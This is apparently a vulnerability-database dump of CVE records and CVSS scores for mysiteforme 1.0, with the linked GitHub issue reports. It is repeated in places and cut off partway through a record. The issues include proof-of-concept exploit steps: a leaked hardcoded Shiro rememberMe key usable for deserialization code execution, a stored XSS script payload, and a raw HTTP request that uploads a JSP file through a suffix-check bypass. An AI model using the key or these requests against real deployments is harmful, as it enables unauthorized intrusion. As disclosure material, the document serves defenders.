A vulnerability was found in wangl1989 mysiteforme 1.0 and classified as critical. Affected by this issue is the function rememberMeManager of the file src/main/java/com/mysiteforme/admin/config/ShiroConfig.java. The manipulation leads to deserialization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "LOW", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "LOW", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

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[ "502" ]

502

https://github.com/wangl1989/mysiteforme/issues/52

[ "Exploit", "Issue Tracking" ]

github.com

[ "wangl1989", "mysiteforme" ]

Code Audit: src/main/java/com/mysiteforme/admin/config/ShiroConfig.java The rememberMeManager method in leaks the key 2AvVhdsgUs0FSA3SDFAdeg==, which can directly cause remote command execution. ![image](https://github.com/user-attachments/assets/ed5fbd86-f56f-4c66-86ef-998d7ce76e37) Vulnerability exploitation: ![image](https://github.com/user-attachments/assets/8d6b0fb4-344a-4258-af57-b9814464c0fa) ![image](https://github.com/user-attachments/assets/7642c01d-6328-45fc-a58b-8e24ed7068d9) ![image](https://github.com/user-attachments/assets/7b3321f5-25a9-4106-a246-beb10e1b917c)

Mysiteforme 1.0 has Remote Command Execution

https://api.github.com/repos/wangl1989/mysiteforme/issues/52/comments

0

2024-12-24T12:03:30Z

2025-01-12T12:01:59Z

https://github.com/wangl1989/mysiteforme/issues/52

2,757,682,365

52

6,479

CVE-2024-13136

2025-01-05T09:15:06.320

A vulnerability was found in wangl1989 mysiteforme 1.0 and classified as critical. Affected by this issue is the function rememberMeManager of the file src/main/java/com/mysiteforme/admin/config/ShiroConfig.java. The manipulation leads to deserialization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "LOW", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "LOW", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/wangl1989/mysiteforme/issues/52" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/wangl1989/mysiteforme/issues/52#issue-2757682365" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.290210" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.290210" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.468391" } ]

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[ "502" ]

502

https://github.com/wangl1989/mysiteforme/issues/52#issue-2757682365

[ "Exploit", "Issue Tracking" ]

github.com

[ "wangl1989", "mysiteforme" ]

Code Audit: src/main/java/com/mysiteforme/admin/config/ShiroConfig.java The rememberMeManager method in leaks the key 2AvVhdsgUs0FSA3SDFAdeg==, which can directly cause remote command execution. ![image](https://github.com/user-attachments/assets/ed5fbd86-f56f-4c66-86ef-998d7ce76e37) Vulnerability exploitation: ![image](https://github.com/user-attachments/assets/8d6b0fb4-344a-4258-af57-b9814464c0fa) ![image](https://github.com/user-attachments/assets/7642c01d-6328-45fc-a58b-8e24ed7068d9) ![image](https://github.com/user-attachments/assets/7b3321f5-25a9-4106-a246-beb10e1b917c)

Mysiteforme 1.0 has Remote Command Execution

https://api.github.com/repos/wangl1989/mysiteforme/issues/52/comments

0

2024-12-24T12:03:30Z

2025-01-12T12:01:59Z

https://github.com/wangl1989/mysiteforme/issues/52

2,757,682,365

52

6,480

CVE-2024-13137

2025-01-05T10:15:06.707

A vulnerability was found in wangl1989 mysiteforme 1.0. It has been classified as problematic. This affects the function RestResponse of the file src/main/java/com/mysiteforme/admin/controller/system/SiteController. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "MULTIPLE", "availabilityImpact": "NONE", "baseScore": 3.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:M/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.4, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 2.4, "baseSeverity": "LOW", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 0.9, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.1, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "HIGH", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/wangl1989/mysiteforme/issues/54" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/wangl1989/mysiteforme/issues/54#issue-2757765372" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.290211" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.290211" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.468473" } ]

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[ "79" ]

79

https://github.com/wangl1989/mysiteforme/issues/54

[ "Exploit", "Issue Tracking" ]

github.com

[ "wangl1989", "mysiteforme" ]

Code Audit: In src/main/java/com/mysiteforme/admin/controller/system/SiteController. java, the edit method did not filter the incoming data, resulting in the storage of XSS ![image](https://github.com/user-attachments/assets/8804eab2-7978-4cb5-90a9-d85b58ed7ef8) ![image](https://github.com/user-attachments/assets/e1236d8e-3884-4bc4-bc27-922039bf33c6) Vulnerability exploitation: Fill in the following information for the development author:< script>alert(1)</script> ![image](https://github.com/user-attachments/assets/6864cdde-774d-4c71-8803-af98e121563d) save ![image](https://github.com/user-attachments/assets/3307d25f-09ce-41ed-a492-a572ca2ff3dd) Open: http://192.168.52.132:8080/showBlog/index ![image](https://github.com/user-attachments/assets/fc29e902-049b-46ce-b950-0ecbd91dd195)

Mysiteforme 1.0 has storage XSS

https://api.github.com/repos/wangl1989/mysiteforme/issues/54/comments

1

2024-12-24T12:53:51Z

2025-02-11T19:44:02Z

https://github.com/wangl1989/mysiteforme/issues/54

2,757,765,372

54

6,481

CVE-2024-13137

2025-01-05T10:15:06.707

A vulnerability was found in wangl1989 mysiteforme 1.0. It has been classified as problematic. This affects the function RestResponse of the file src/main/java/com/mysiteforme/admin/controller/system/SiteController. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "MULTIPLE", "availabilityImpact": "NONE", "baseScore": 3.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:M/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.4, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 2.4, "baseSeverity": "LOW", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 0.9, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.1, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "HIGH", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/wangl1989/mysiteforme/issues/54" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/wangl1989/mysiteforme/issues/54#issue-2757765372" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.290211" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.290211" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.468473" } ]

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[ "79" ]

79

https://github.com/wangl1989/mysiteforme/issues/54#issue-2757765372

[ "Exploit", "Issue Tracking" ]

github.com

[ "wangl1989", "mysiteforme" ]

Code Audit: In src/main/java/com/mysiteforme/admin/controller/system/SiteController. java, the edit method did not filter the incoming data, resulting in the storage of XSS ![image](https://github.com/user-attachments/assets/8804eab2-7978-4cb5-90a9-d85b58ed7ef8) ![image](https://github.com/user-attachments/assets/e1236d8e-3884-4bc4-bc27-922039bf33c6) Vulnerability exploitation: Fill in the following information for the development author:< script>alert(1)</script> ![image](https://github.com/user-attachments/assets/6864cdde-774d-4c71-8803-af98e121563d) save ![image](https://github.com/user-attachments/assets/3307d25f-09ce-41ed-a492-a572ca2ff3dd) Open: http://192.168.52.132:8080/showBlog/index ![image](https://github.com/user-attachments/assets/fc29e902-049b-46ce-b950-0ecbd91dd195)

Mysiteforme 1.0 has storage XSS

https://api.github.com/repos/wangl1989/mysiteforme/issues/54/comments

1

2024-12-24T12:53:51Z

2025-02-11T19:44:02Z

https://github.com/wangl1989/mysiteforme/issues/54

2,757,765,372

54

6,482

CVE-2024-13138

2025-01-05T11:15:05.747

A vulnerability was found in wangl1989 mysiteforme 1.0. It has been declared as critical. This vulnerability affects the function upload of the file src/main/java/com/mysiteform/admin/service/ipl/LocalUploadServiceImpl. The manipulation of the argument test leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "MULTIPLE", "availabilityImpact": "PARTIAL", "baseScore": 5.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 6.4, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 4.7, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "version": "3.1" }, "exploitabilityScore": 1.2, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.1, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "HIGH", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "LOW", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/wangl1989/mysiteforme/issues/55" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/wangl1989/mysiteforme/issues/55#issue-2757868654" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.290212" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.290212" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.468511" } ]

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[ "434" ]

434

https://github.com/wangl1989/mysiteforme/issues/55

[ "Exploit", "Issue Tracking" ]

github.com

[ "wangl1989", "mysiteforme" ]

Code Audit: Src/main/java/com/mysiteform/admin/service/ipl/LocalUploadServiceImpl. The upload file in src/main/java is not protected, resulting in the ability to upload JSP Trojans and HTML files ![image](https://github.com/user-attachments/assets/f7191c10-bd09-4b46-b5d7-e234f0125332) ![image](https://github.com/user-attachments/assets/5405ec87-82db-4e34-8866-fffc9bc5db9b) Vulnerability exploitation: Upload image interface, just did front-end suffix verification. First upload the image file, then capture the package and change the suffix to JSP or HTML ![image](https://github.com/user-attachments/assets/5c21d805-9a4c-4d02-b973-b666efccaca4) ``` POST /file/upload/ HTTP/1.1 Host: 192.168.52.132:8080 Content-Length: 209 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUJ6YUNERWxp4xW7u Origin: http://192.168.52.132:8080 Referer: http://192.168.52.132:8080/admin/system/site/show Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=cb29c68b-b9cd-4517-8391-f006b785386e Connection: close ------WebKitFormBoundaryUJ6YUNERWxp4xW7u Content-Disposition: form-data; name="test"; filename="123.jsp" Content-Type: image/jpeg <% out.println("test1234"); %> ------WebKitFormBoundaryUJ6YUNERWxp4xW7u-- ``` ![image](https://github.com/user-attachments/assets/47c7f09e-6816-490c-85d8-c661a7029d51) http://192.168.52.132:8080/static/upload/db499a9f-c726-409d-b741-2cb82e1a9b01.jsp ![image](https://github.com/user-attachments/assets/18f76e78-14fd-4b40-a668-416efb2a669d) ![image](https://github.com/user-attachments/assets/d0085717-5d04-44fd-bfc1-78bece7aeb9f) http://192.168.52.132:8080/static/upload/f4c37e5f-b649-4a06-9075-11aa7d4a885a.html ![image](https://github.com/user-attachments/assets/325b00c7-2a7f-4a88-9d09-1a34d83593c9)

Mysiteforme 1.0 has arbitrary File Upload

https://api.github.com/repos/wangl1989/mysiteforme/issues/55/comments

1

2024-12-24T14:25:36Z

2025-02-11T16:17:38Z

https://github.com/wangl1989/mysiteforme/issues/55

2,757,868,654

55

6,483

CVE-2024-13138

2025-01-05T11:15:05.747

A vulnerability was found in wangl1989 mysiteforme 1.0. It has been declared as critical. This vulnerability affects the function upload of the file src/main/java/com/mysiteform/admin/service/ipl/LocalUploadServiceImpl. The manipulation of the argument test leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "MULTIPLE", "availabilityImpact": "PARTIAL", "baseScore": 5.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 6.4, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 4.7, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "version": "3.1" }, "exploitabilityScore": 1.2, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", 